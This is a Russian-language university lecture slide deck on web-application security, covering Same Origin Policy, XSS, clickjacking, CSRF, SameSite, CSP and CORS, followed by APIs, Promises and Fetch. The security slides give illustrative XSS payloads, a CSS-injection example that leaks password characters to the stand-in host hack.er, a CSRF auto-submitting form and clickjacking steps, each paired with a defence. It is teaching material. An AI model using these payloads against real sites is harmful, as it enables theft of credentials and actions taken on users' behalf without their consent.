## Безопасность web-приложений
Слайды доступны по ссылке
frontend.tech-mail.ru

## Виды безопасности:

- продуктовая 💻
- инфраструктурная 🌐
- complience 💁🏻
- физическая 🥷🏻
- нормативная 🧑‍⚖️

## Same Origin Policy

> Правило ограничения домена (Same Origin Policy — «Принцип одинакового источника» a.k.a. «Политика единого источника») — это важная концепция безопасности и работы web-приложений. Она призвана ограничивать возможности пользовательских сценариев из определённого источника по доступу к ресурсам и информации из других источников

Подробнее

## Same Origin Policy

Вводится понятие источника (адрес в интернете, откуда был загружен ресурс). Два URL считаются имеющим один источник («same origin»), если у них одинаковый протокол, домен и порт

У этих ресурсов одинаковые источники:

- `http://site.com`
- `http://site.com/`
- `http://site.com/my/page.html`

## Same Origin Policy

У этих ресурсов разные источники:

- `http://site.com`
- `http://www.site.com` (другой домен)
- `http://site.org` (другой домен)
- `https://site.com` (другой протокол)
- `http://site.com:8080` (другой порт)

## Типы взаимодействия с ресурсами

Любой способ взаимодействия с ресурсами в web-приложениях можно отнести к одной из трёх категорий:

- "Запись" в ресурсы — например: переходы по ссылкам, редиректы, сабмит форм, отправка запросов
- "Встраивание" ресурсов в другие ресурсы:
  - JavaScript with `<script src="..."></script>`
  - CSS with `<link rel="stylesheet" href="...">`
  - Images with `<img>`, media files with `<video>` and `<audio>`
  - Plug-ins with `<object>`, `<embed>` and `<applet>`
- "Чтение" из других ресурсов — например: чтение ответов на запросы, получение доступа к содержимому встроенного ресурса...

## Same Origin Policy

- Cross Origin "Запись" в ресурсы обычно разрешается (за некоторыми исключениями, о них чуть позже)
- Cross Origin "Встраивание" ресурсов обычно разрешается
- Cross Origin "Чтение" из других ресурсов по-умолчанию запрещено

## Способы обхода Same Origin Policy

## Cross-Site Scripting (XSS)

> Cross-Site Scripting — атака, заключающаяся во внедрении на страницу вредоносного кода, который будет выполнен в контексте источника конкретного сайта с целью обхода политик единого источника, и взаимодействии этого кода с веб-сервером злоумышленника

С помощью XSS злоумышленник может украсть из браузера пользователя sensitive-данные (например, cookies с ID сессии пользователя, приватные данные пользователя или данные из форм), может выполнить от имени пользователя различные действия или, например, провести DDOS-атаку

## Пример уязвимости

    		<?php
    		    $name = $_REQUEST ['name'];
    		?>
    		<html>
    		    <head><title>Портал Технопарка</title></head>
    		    <body>
    		        Hello, <?php echo $name; ?>!
    		    </body>
    		</html>

## Использование уязвимости

    		const html = '<script>alert("XSS")</script>';
    		const link =
    		    'https://park.mail.ru/?name=' + encodeURIComponent(html);

    		console.log(link);
    		// https://park.mail.ru/?name=%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E

## Пример уязвимости

    		const response = http.get('/message');
    		const messageText = response.content;

    		const chat = document.getElementById('chat');
    		chat.innerHTML += messageText;

## Использование уязвимости

    		// так не сработает
    		chat.innerHTML += `
    		    </div><script>alert("XSS")</script>
    		`;

    		// а вот так - получится
    		chat.innerHTML += `
    		    </div><img src="/404.png" onerror="alert('XSS')">
    		`;

## Пример уязвимости

    		// делаем сайт с oauth-авторизацией
    		const backRedirectUrl =
    		    new URLSearchParams(window.location.search).get('back');

    		const link = document.createElement('a');
    		link.textContent = 'Click Me!';
    		link.href = backRedirectUrl;
    		document.appendChild(link);

## Использование уязвимости

    		// находимся на
    		// https://park.mail.ru/?back=javascript%3Aalert%28%27XSS%27%29%3B
    		const backRedirectUrl = // "javascript:alert('XSS');"
    		    new URLSearchParams(window.location.search).get('back');

    		const link = document.createElement('a');
    		link.href = backRedirectUrl;

    		// <a href="javascript:alert('XSS');">Click Me!<a>

## Пример уязвимости

    		const avatarUrl = http.get('/me').avatarUrl;

    		const styleContent = `
    		    `#avatar {`
    		    `    background: url(${avatarUrl});`
    		    `}`
    		`;

    		const style = document.createElement('style');
    		style.textContent = styleContent;
    		document.appendChild(style);

## Использование уязвимости

    		const avatarUrl = http.get('/me').avatarUrl;
    		console.log(avatarUrl); -> `);}`
    		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
    		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
    		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
    		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
    		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
    		`abc { background: url(`

## Использование уязвимости

    		#avatar {
    		    background: url();}
    		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
    		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
    		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
    		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
    		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
    		div { background: url();
    		}

## Использование уязвимости

    		#avatar {
    		    background: url();}
    		[type=password][value^='a'] { background-image: url(https://hack.er/a); }
    		[type=password][value^='b'] { background-image: url(https://hack.er/b); }
    		[type=password][value^='c'] { background-image: url(https://hack.er/c); }
    		[type=password][value^='d'] { background-image: url(https://hack.er/d); }
    		[type=password][value^='e'] { background-image: url(https://hack.er/e); }
    		div { background: url();
    		}

## Способы защиты от XSS

- Тщательная фильтрация и экранирование пользовательского контента, вставляемого напрямую через `DOM API`
- Использование белых списков при фильтрации HTML
- Правильная работа с куками, использование `httpOnly`
- Использование специального заголовка `X-XSS-Protection`
- Ещё больше про XSS тут и тут

## Clickjacking (угон кликов)

## Элемент `<iframe>`

> Элемент `<iframe>` создаёт фрейм — область заданных размеров, которая находится внутри обычного документа, в которую можно загружать любые другие независимые документы

## Элемент `<iframe>`

`<iframe src="https://example.com/" width="900" height="500">`

## Атака Clickjacking (угон кликов)

> Атака Clickjacking — механизм обмана пользователей, при котором злоумышленник может получить доступ к конфиденциальной информации или даже заставить пользователя выполнить определённые действия, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу

## Атака Clickjacking (угон кликов)

1. Заманиваем пользователя на нашу страницу
2. Открываем на нашей странице iframe с facebook'ом, делаем ему `opacity: 0;` и позиционируем под курсором пользователя
3. Смещаем содержимое iframe так, чтобы в окне оказалась кнопка подписки на сообщество
4. Пользователь делает клик
5. ???????
6. PROFIT!

## Защита от Clickjacking

Используем заголовок `X-Frame-Options`:

- `X-Frame-Options: DENY` — запрещает открывать сайт внутри iframe
- `X-Frame-Options: SAMEORIGIN` — разрешает открывать сайт внутри iframe на страницах с тем же самым origin
- `X-Frame-Options: ALLOW-FROM https://example.com/` — разрешает открывать сайт внутри iframe на страницах с указанным origin

## Какая ещё есть угроза
связанная с iframe?

У элемента `iframe` есть свойства, позволяющие получить доступ до содержимого страницы:

- `iframe.contentWindow` — ссылка на `window` страницы,
  загруженной в `iframe`
- `iframe.contentWindow.document` — ссылка на `document` страницы, загруженной в `iframe`
- `window.parent` — внутри `iframe` ссылается на родительский документ
- `window.top` — внутри `iframe` ссылается самый верхний родительский элемент (в случае iframe в iframe)

## Ограничения iframe

- На все `iframe` всегда накладываются ограничения, диктуемые
  Same Origin Policy
- В частности, если в `iframe` загружен ресурс с другим Origin, то эти две страницы не имеют доступа друг до друга через `iframe.contentWindow` и `window.parent`
- Запись в `window.parent.location` разрешена, а чтение — запрещено
- У элемента `iframe` есть атрибут `sandbox` с возможными значениями: `allow-same-origin`, `allow-top-navigation`, `allow-forms`, `allow-scripts`

## Общение между iframe напрямую

Присваивая в `document.domain` одинаковые значения, можно разрешить страницам с разных поддоменов общение друг с другом через iframe напрямую

    		// на странице https://park.mail.ru/
    		document.domain; // 'park.mail.ru'
    		document.domain = 'mail.ru'; // success
    		document.domain = 'e.mail.ru'; // error
    		document.domain = 'google.com'; // error

    		// на странице https://e.mail.ru/
    		document.domain = 'mail.ru'; // success

## Общение с помощью postMessage

    		otherWindow.postMessage(message, targetOrigin);
    		// otherWindow - любой объект класса Window
    		//    - текущий window
    		//    - полученный через вызов window.open()
    		//    - полученный через iframe.contentWindow или window.parent

    		// targetOrigin - origin ресурсов, которые получат сообщения
    		//                  можно указать wildcard: '*'

## Событие message

    		window.addEventListeners('message', function (event) {
    		    console.log(event.data); // присланные данные
    		    console.log(event.origin); // origin, из которого пришло сообщение
    		    console.log(event.source); // ссылка на окно-отправитель сообщения
    		});

Подробнее

## Cross-Site Request Forgery (CSRF)

## Атака CSRF

1. Пользователь заходит на сайт, на котором размещена вот такая форма:

    			<form action="https://e.mail.ru/api/v1/messages/send" method="POST">
    			    <input name="message" value="Evil message">
    			    <!-- ... -->
    			</form>

2. При заходе на сайт, js-скрипт вызывает `submit()` у формы
3. Отправляется POST-запрос на страницу `https://e.mail.ru/api/v1/messages/send`
4. Т.к. пользователь авторизован в Почте Mail.ru, то запрос отправляется с куками пользователя и от имени пользователя отправляется письмо

## В атаке используется слабая
сторона авторизации через cookies

> Cookies позволяют проверить, кто отправил определённый запрос, но они ничего не говорят о данных этого запроса

Браузеры не понимают, как различить, было ли действие явно совершено пользователем (как, скажем, нажатие кнопки на форме или переход по ссылке) или пользователь неумышленно выполнил это действие (зайдя на "плохой" сайт)

## Защита от CSRF-атак с помощью
CSRF-токенов

1. При первом запросе на сервер в теле ответа или в заголовке `X-CSRF-Token` сервер передаёт на клиент token — случайную строку, и клиент сохраняет её у себя в какой-то переменной, но не в cookies
2. При последующих запросах на сервер клиент добавляет этот токен в заголовки запросов или в специальное поле в теле запроса
3. Сервер на каждый запрос валидирует token и если он не был передан, либо он неверный, то сервер отклоняет этот запрос
4. Т.к. злоумышленнику токен не известен, то он не сможет подделать наш запрос

## А если ли джедайский способ?

## samesite

## Samesite cookie 🍪

> Samesite — сравнительно новый параметр кук, предоставляющий дополнительный контроль над их передачей согласно Origin policy. Важно заметить, что данная настройка работает только с secure cookies.

Возможные значения: Strict, Lax (by default), None.
Set-Cookie: foo=bar; SameSite=Lax

## Samesite. Strict 💪

Cookies с `samesite=strict` никогда не отправятся, если пользователь пришёл не с этого же сайта.
Важно помнить, что cookies не будут пересылаться также при навигации высокого уровня (т.е. даже при переходе по ссылке) Пример: vk.com -> site.com -> cookies не передаются

## Samesite. Lax 🍣

Cookies с `samesite=lax` отправляются, если выполняются два условия:

1. Используются безопасные HTTP-методы (GET, HEAD, OPTIONS и TRACE) rfc. Главный принцип – методы используются только для чтения данных, не для их изменения. Переход по ссылке эквивалентен GET-методу, т.е. является безопасным
2. Операция осуществляет навигацию верхнего уровня. Сетевые запросы из JS не являются навигацией и не будут передавать cookies.

## доклад 🔥

## Content Security Policy

> Content-Security-Policy (CSP) aka Це SP — HTTP-заголовок*, регулирующий список доверенных источников и тип взаимодействия с ними

> Подробнее на MDN

Пример:

    Content-Security-Policy: script-src 'self' https://mail.ru

    *: <meta http-equiv="Content-Security-Policy" content="script-src 'self' https://mail.ru" />

## Content Security Policy

- connect-src — ограничивает origin-ы, к которым можно соединиться с помощью XHR, WebSocket-ов и тд.
- img-src — ограничивает origin-ы, c которых можно загрузить картинки
- style-src
- script-src
- font-src
- media-src — <audio>, <video> и <track>
- child-src (frame-src) — iframes
- form-action
- base-uri — <base>
- default-src

## Content Security Policy

Нет fallback на default-src для:

- base-uri
- form-action
- frame-ancestors
- plugin-types
- report-uri
- sandbox

## Content Security Policy. Стандарты

- CSP1 - 2015 год (устарело)
- CSP2 - 2016 год ⬅️ сломана обратная совместимость. Действующий стандарт
- CSP3 - с 2018 года в статусе Working Draft

## Content Security Policy

- `none`
- `self`
- `unsafe-inline`
- `unsafe-eval`

## Content Security Policy. Strict CSP

Какими свойствами должна обладать хорошая политика безопасности?

- default-src: 'none'
- Отсутствие unsafe-eval, unsafe-inline в директивах script-src & style-src
- no 3rd party sources *

## Content Security Policy. IRL🌐

Как запустить и не сломать production?
Есть 2 режима работы:

- Content-Security-Policy - полноценная работа согласно выставленным политикам
- Content-Security-Policy-Report-Only - `silent`-режим, происходит только отправка логов по адресу, указанному в report-uri

## Как законно обойти ограничения Same Origin Policy?

## Архитектура наших приложений

## Архитектура наших приложений?

## HTTP access control (CORS)

> Cross-Origin Resource Sharing (CORS) standard — спецификация, позволяющая обойти ограничения, которые Same Origin Policy накладывает на кросс-доменные запросы

Подробнее

## Cross Origin HTTP-запросы ( XHR )

    		// Находимся на https://evil.com/
    		const xhr = new XMLHttpRequest();
    		xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
    		xhr.send();

    		console.log(xhr.responseText)

## Запросы делятся на два типа

Простыми считаются запросы, если они удовлетворяют следующим двум условиям:

- Простой метод: GET, POST или HEAD
- Простые заголовки — только из списка:
  - `Accept`
  - `Accept-Language`
  - `Content-Language`
  - `Content-Type`
    - `application/x-www-form-urlencoded`
    - `multipart/form-data`
    - `text/plain`

## CORS для простых запросов

    			GET /data HTTP/1.1
    			Host: e.mail.ru
    			Origin: http://frontend.tech-mail.ru /// <- выставляет браузер

    			HTTP/1.1 200 OK
    			Content-Type: text/html; charset=UTF-8
    			Access-Control-Allow-Origin: http://frontend.tech-mail.ru
    			// Access-Control-Allow-Origin: *
    			// Проверяет браузер

## CORS для простых запросов:
дополнительные заголовки

    			HTTP/1.1 200 OK
    			Content-Type: text/html; charset=UTF-8
    			Access-Control-Allow-Origin: http://frontend.tech-mail.ru
    			...
    			X-UID: 42
    			X-Secret: 2c9de507f2c54aa1
    			Access-Control-Expose-Headers: X-Uid, X-Secret
    			// Cache-control, Content-Language, Content-Type, Expires, Last-Modified, Pragma

## CORS для простых запросов:
данные авторизации

    			const xhr = new XMLHttpRequest();
    			xhr.withCredentials = true;
    			xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);

    			HTTP/1.1 200 OK
    			Content-Type: text/html; charset=UTF-8
    			Access-Control-Allow-Origin: domain // '*' запрещено
    			Access-Control-Allow-Credentials: true
    			// Ставим заголовок, если хотим сделать Set-Cookies

## Запросы делятся на два типа

Остальные запросы считаются "непростыми" , и при отправке таких запросов необходимо понять, согласен ли сервер на обработку таких запросов. Эти запросы всегда отсылаются со специальным заголовком `Origin`

## "Непростые" запросы

При отправке "непростого" запроса, браузер сделает на самом деле два HTTP-запроса.

- «Предзапрос» (английский термин «preflight») OPTIONS. Cодержит название желаемого метода в заголовке `Access-Control-Request-Method`, а если добавлены особые заголовки, то и их тоже — в `Access-Control-Request-Headers`.
- Основной HTTP-запрос с заголовком `Origin`

## "Непростые" запросы

Ответ на предзапрос может содержать следующие заголовки

    			HTTP/1.1 200 OK
    			Content-Type: text/plain
    			Access-Control-Allow-Methods: DELETE, PUT, HEAD, OPTIONS, GET, POST
    			Access-Control-Allow-Headers: Content-Type, User-Agent ...
    			         ... X-Requested-With, If-Modified-Since, Cache-Control
    			Access-Control-Max-Age: 86400

## Вопросы

В чем проблемы данного кода?

    			location /api/v1/info {
    			  add_header 'Access-Control-Allow-Origin' '*';
    			  add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
    			  add_header 'Access-Control-Allow-Headers' 'Content-Type, User-Agent';
    			  add_header 'Access-Control-Expose-Headers' 'X-Uid, X-Authentication';
    			  auth_basic "closed site";
    			  auth_basic_user_file conf/htpasswd;
    			}

    		//подсказка
    		XMLHttpRequest.open(method, url[, async[, user[, password]]])

## Вопросы

А тут?

    			location /api/v1/info {
    			  add_header X-Content-Type-Options nosniff;
    			  add_header Vary Origin;

    			  # CORS setup
    			  if ($cors = 'enabled') {
    			    add_header Access-Control-Allow-Origin $http_origin;
    			    #  ...
    			  }
    			}
    			// какие заголовки будут для $cors=enabled|false?

## Вопрос на дополнительные баллы

Как реализовать кроссдоменную авторизацию, если у вас есть два сайта example1.com и example2.com? Если пользователь авторизуется на одном из них, то зайдя на второй, он там тоже будет авторизован. Перечислите минимум 3 способа с их плюсами и минусами (в т.ч. для восприятия пользователем).

## Работа с API

## Что есть API

> API (application programming interface, интерфейс программирования приложений) — набор готовых классов, процедур, функций, структур и констант, предоставляемых приложением (библиотекой, сервисом) или операционной системой для использования во внешних программных продуктах. Используется программистами при написании всевозможных приложений

## Что есть API

API определяет функциональность , которую предоставляет программа (модуль, библиотека), при этом API позволяет абстрагироваться от того, как именно эта функциональность реализована

Web API — используется в веб-разработке, как правило, определённый набор HTTP-запросов, а также определение структуры HTTP-ответов, для выражения которых используют XML или JSON форматы

## Сема́нтика

> Сема́нтика — раздел лингвистики, изучающий смысловое значение единиц языка

– Работодатель: Назовите вашу главную слабость
– Кандидат: Я даю семантически корректные, но практически неприменимые ответы на вопросы
– Работодатель: Могли бы вы привести пример?
– Кандидат: Да, мог бы

## CRUD

> CRUD (create, read, update, delete) — акроним, обозначающий четыре базовые функции, используемые при работе с персистентными хранилищами данных, описывает семантику методов HTTP

- GET (чтение данных)
- POST (создание данных)
- PUT (полное обновление данных) или PATCH (частичное обновление данных)
- DELETE (удаление данных)
- HEAD запрашивает ресурс так же, как и GET, но без тела ответа
- OPTIONS используется для описания параметров соединения с ресурсом

## REST

> REST (в применении к именованию ресурсов) — набор методик и практик, которые используются для именования ресурсов, с которыми работает система

Все типы ресурсов делятся на две категории:

- коллекции ресурсов — имеют имя
- отдельные представители — принадлежат к какой-то коллекции и имеют идентификатор, чтобы отличать различных представителей коллекции друг от друга
by Рой Филдинг / REspresentation State Transfer

## REST

Коллекция книг (books):

- Вся коллекция получает URI `/books`
- Идентификатор книги — её ISBN. Отдельные книги:
  - `/books/2-266-11156-6`
  - `/books/3-720-55486-7`
  - `/books/1-054-55901-2`

## REST

Коллекция пользователей (users):

- Вся коллекция получает URI `/users`
- Идентификатор пользователя — его ID. Отдельные пользователи:
  - `/users/id2`
  - `/users/id432`
  - `/users/id1211177181`

## REST + CRUD = семантическое API

    		Получение всех книг
    		GET /books HTTP/1.1
    		Host: awesome.com

    		Получение конкретной книги
    		GET /books/3-720-55486-7 HTTP/1.1
    		Host: awesome.com

    		Удаление конкретной книги
    		DELETE /books/3-720-55486-7 HTTP/1.1
    		Host: awesome.com

## Документирование API

- swagger
- apiary
- apiblueprint
- 📝
- Ваши варианты ;)

## Другие способы организации API

- JSON-RPC
- GraphQL
- Ваши варианты ;)

## Promise и
Fetch API

## Асинхронность в JavaScript

    		http.ajaxGet('/user', function (err, user) {
    		    if (err) {
    		        console.error(err);
    		        return;
    		    }
    		    console.log('User is', user);
    		});

    		console.log('Waiting...');

## Callback Hell

    		http.ajaxPost('/signup', user, function (err, resp1) {
    		    if (err) { return console.error(err); }
    		    http.ajaxGet(`/users/${resp1.id}`, function (err, resp2) {
    		        if (err) { return console.error(err); }
    		        http.ajaxGet(`/photos/${resp2.avatarId}`, function (err, avatar) {
    		            if (err) { return console.error(err); }
    		            // ... callback hell!
    		        });
    		    });
    		});

## Callback Hell

## Избавляемся от пирамид

    		http.ajaxPost('/signup', user, onSignup);

    		function onSignup (err, resp1) {
    		    if (err) { return console.error(err); }
    		    http.ajaxGet(`/users/${resp1.id}`, onLoadUser);
    		}

    		function onLoadUser (err, resp2) {
    		    if (err) { return console.error(err); }
    		    http.ajaxGet(`/photos/${resp2.avatarId}`, onLoadAvatar);
    		}

## Try, catch

    		try {
    		    // Выбрасываем исключение вручную
      		    throw 'Ooops!';
    		} catch (err) {
    		    alert(err); // Привет, я ошибка!
    		}

## Асинхронные ошибки

    		try {
    		    http.ajaxGet('/user', function (err) {
    		        if (err) {
    		            throw err;
    		        }
    		        console.log('User is', user);
    		    });
    		} catch (err) {
    		    alert(err); // Не выполнится
    		}

## Асинхронные ошибки

    		const callback = function (err) {
    		    if (err) {
    		        throw err;
    		    }
    		    console.log('User is', user);
    		};

    		try {
    		    http.ajaxGet('/user', callback);
    		} catch (err) {
    		    alert(err); // Не выполнится
    		}

## Futures или Promises

Термин promise был предложен в 1976 году Дэниэлом Фридманом и Дэвидом Вайзом, а Питер Хиббард назвал его eventual. Похожая концепция под названием future была предложена в 1977 году в статье Генри Бейкера и Карла Хьюитта

## Что такое Promise?

## Promise

> Promise (обещание) — представляет собой обертку для значения, неизвестного на момент создания обещания

Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание получить результат в некоторый момент в будущем

## Promise

> Promises (промисы) — это специальные объекты, которые могут находиться в одном из трёх состояний:

> - вначале pending («ожидание»)
> - затем либо fulfilled («выполнено успешно»)
> - либо rejected («выполнено с ошибкой»)

## Promise

    		const promise = new Promise(function(resolve, reject) {
    		    // Здесь можно выполнять любые действия

    		    // вызов resolve(result) переведёт промис в состояние fulfilled
    		    // вызов reject(error) переведёт промис в состояние rejected
    		});

    		// Можно создать сразу "готовый" промис
    		const fulfilled = Promise.resolve(result);
    		// const fulfilled = new Promise((resolve, _) => resolve(result));
    		const rejected = Promise.reject(error);
    		// const rejected = new Promise((_, reject) => reject(error));

## Promise

Основной способ взаимодействия с промисом это регистрация функций обратного вызова для получения конечного результата промиса или сообщения о причине, по которой он не был выполнен. Иными словами, на промисы можно навесить два коллбека:

- `onFulfilled` — срабатывают, когда promise находится в состоянии «выполнен успешно»
- `onRejected` — срабатывают, когда promise находится в состоянии «выполнен с ошибкой»

## Promise

    		const promise = new Promise( ... );

    		// Можно навесить их одновременно
    		promise.then(onFulfilled, onRejected);

    		// Можно по отдельности
    		// Только обработчик onFulfilled
    		promise.then(onFulfilled);
    		// Только обработчик onRejected
    		promise.then(null, onRejected);
    		promise.catch(onRejected); // Или так

## Promise

    		const promise = new Promise(function(resolve, reject) {
    		    // do smth
    		    resolve('success'); // or
    		    // reject(new Error('failure'));
    		});

    		promise
    		    .then(res => console.log(res))
    		    .catch(err => console.error(err));

## Какая польза от промисов?

- Можно навешивать несколько обработчиков-колбэков
- Можно навесить обработчик-колбэк потом
- Можно передавать промисы в качестве аргументов в другие части системы
- Можно строить цепочки асинхронных вызовов без callback hell

## Добавление нескольких коллбэков

    		// 'cb1 success', 'cb2 success'
    		const promise = Promise.resolve('success');

    		promise.then(res => { console.log('cb1', res); }); // 1
    		promise.then(res => { console.log('cb2', res); }); // 2

## Чейнинг промисов

    		// 'value 1', 'value 2', 'value 3'
    		const promise = Promise.resolve('value 1');

    		const p2 = promise
    		    .then(res => { console.log(res); return 'value 2'; }) // 1
    		    .then(res => { console.log(res); return 'value 3'; }) // 2
    		    .then(res => { console.log(res); });                  // 3

    		p2 === promise // false

## Обработка асинхронных ошибок

    		// 'value 1', 'Error!', 'Error catched!'
    		const promise = Promise.resolve('value 1');

    		promise
    		    .then(res => { console.log(res); throw 'Error!'; })             // 1
    		    .then(res => { console.log('foo'); })
    		    .then(res => { console.log('bar'); })
    		    .then(res => { console.log('baz'); })
    		    .catch(err => { console.error(err); return 'Error catched!'; }) // 2
    		    .then(res => { console.log(res); });                            // 3

## Из промиса можно возвращать
промис!

    		// 'foo', 'baz', 'bar', 'foobar'
    		const promise1 = Promise.resolve('foo')
    		    .then(res => { console.log(res); return 'bar'; });    // foo

    		const promise2 = Promise.resolve('baz')
    		    .then(res => { console.log(res); return promise1; })  // baz
    		    .then(res => { console.log(res); return 'foobar'; })  // bar
    		    .then(res => { console.log(res); });                  // foobar

## Промисификация

> Оборачивание асинхронного функционала в функцию, возвращающую промис

    		function PromiseGet(url) {
    		    return new Promise(function (resolve, reject) {
    		        http.Get(url, function (err, response) {
    		            if (err) { reject(err) }
    		            resolve(response);
    		        });
    		    });
    		}

## Callback Hell!

    		http.ajaxPost('/signup', user, function (err, resp1) {
    		    if (err) { return console.error(err); }
    		    http.ajaxGet(`/users/${resp1.id}`, function (err, resp2) {
    		        if (err) { return console.error(err); }
    		        http.ajaxGet(`/photos/${resp2.avatarId}`, function (err, avatar) {
    		            if (err) { return console.error(err); }
    		            // ... callback hell!
    		        });
    		    });
    		});

## Callback Hell! Красота :)

    		PromisePost('/signup', user)
    		    .then(resp1 => PromiseGet(`/users/${resp1.id}`))
    		    .then(resp2 => PromiseGet(`/photos/${resp2.avatarId}`))
    		    .then(avatar => { ... })
    		    .catch(err => console.error(err));

## `Promise.all`

    		// Делаем что-нибудь асинхронное и важное параллельно
    		Promise.all([
    			  PromiseGet('/user/1'),
    			  PromiseGet('/user/2'),
    		]).then(function(users) {
    			  // Результатом станет массив из значений всех промисов
    			  users.forEach(function(user, i) {
    			  	  console.log(`User #${i}: ${value}`);
    			  });
    		});

## `Promise.race`

    		// Делаем что-нибудь асинхронное и важное наперегонки!
    		Promise.race([
    			  promiseSomething(),
    			  promiseSomethingElse()
    		]).then(function(result) {
    			  // Результатом станет значение самого "быстрого" промиса
    			  console.log(`Result: ${value}`);
    		});

## `Promise.any`

    		// вернет первое fulfilled, либо будет rejected с массивом причин
    		const promises = [
    		  Promise.reject('ERROR A'),
    		  Promise.reject('ERROR B'),
    		  Promise.resolve('result'),
    		]
    		Promise.any(promises)
    		  .then((result) => console.log(result));
    		  // result

## `Promise.allSettled`

Метод Promise.allSettled() возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.

    		const promise1 = Promise.resolve(3);
    		const promise2 = new Promise(
    		   (resolve, reject) => setTimeout(reject, 100, 'foo')
    		);
    		const promises = [promise1, promise2];
    		Promise.allSettled(promises).
    		  then((results) => results.forEach((result) => console.log(result.status)));
    			  // "fulfilled", "rejected"
    		    // Третий аргументы в setTimeout?

## Async

    		async function f() {
    		    return 1;
    		}
    		// async-функции всегда возвращают promise

## Async

    		async function f1() {
    		    return 1;
    		}

    		async function f2() {
    		    return Promise.resolve(1);
    		}
    		f1().then(console.log) // 1
    		f2().then(console.log) // 1

## Async/Await

    		// await останавливает выполнение и ждет резолва
    		let value = await promise;

    		async function f() {
    		  let p = new Promise((resolve)=> setTimeout(()=>resolve('done'), 1000))
    		  let result = await p; // будет ждать 1сек
    		  	console.log(result)
    		}
    		// await нельзя использовать в обычных функциях

## Async/Await. Обработка ошибок

    		// обработка ошибок
    		async function f() {
    		  await Promise.reject(new Error('Oops')); // throw new Error('Oops');
    		}
    		// можно использовать try-catch как в синхронном блоке

## Async/Await. Обработка ошибок

    		// обработка ошибок
    		async function f() {
    		  try {
    		    let response = await throwable();
    		  } catch (error) {
    		    console.log(error); // gotcha! 🤠
    		  }
    		}

## Fetch API

> Метод fetch — это XMLHttpRequest нового поколения. Он предоставляет улучшенный интерфейс для осуществления запросов к серверу: как по части возможностей и контроля над происходящим, так и по синтаксису, так как построен на промисах

    		// Синтаксис метода fetch:
    		const fetchPromise = fetch(url[, options]);

## Fetch API options

- `method` — метод запроса
- `headers` — заголовки запроса (объект)
- `body` — тело запроса: `FormData`, `Blob`, строка и т.п.
- `mode` — одно из: «same-origin», «no-cors», «cors», указывает, в каком режиме кросс-доменности предполагается делать запрос
- `credentials` — одно из: «omit», «same-origin», «include», указывает, пересылать ли куки и заголовки авторизации вместе с запросом
- `cache` — одно из «default», «no-store», «reload», «no-cache», «force-cache», «only-if-cached», указывает, как кешировать запрос

## Fetch API

    		fetch('/books', {
    			method: 'POST',
    			mode: 'cors',
    			credentials: 'include',
    			data: JSON.stringify({
    				title: 'Изучение Фронтенда',
    				authors: [
    					'Анатолий Остапенко', 'Дмитрий Дорофеев',
    					'Сергей Володин', 'Алексей Тюльдюков'
    				]
    			})
    		});

## ВАЖНО: работа с CORS в Fetch API

    		fetch('/books', {
    			method: 'POST',
    			mode: 'cors',
    			credentials: 'include',
    			data: JSON.stringify({
    				title: 'Изучение Фронтенда',
    				authors: [
    					'Анатолий Остапенко', 'Дмитрий Дорофеев',
    					'Сергей Володин', 'Алексей Тюльдюков'
    				]
    			})
    		});

## Полезные ссылки

- Same-origin policy описано здесь (MDN) и здесь (wiki)
- Метода обхода Same-origin policy stackoverflow
- Iframe: WebReference.ru и learn.javascript.ru
- Кроссдоменные запросы на learn.javascript.ru
- Описание HTTP access control (CORS)
- Документация к Spring про CORS: здесь
- API (application programming interface) wiki
- Документирование API с помощью swagger, apiary или apiblueprint

## Полезные ссылки

- Семантический API: CRUD и REST
- Тестирование JavaScript с помощью Jasmine
- Очень подробные посты, про Promise на learn.javascript.ru и на хабре
- Fetch API

## Всем спасибо!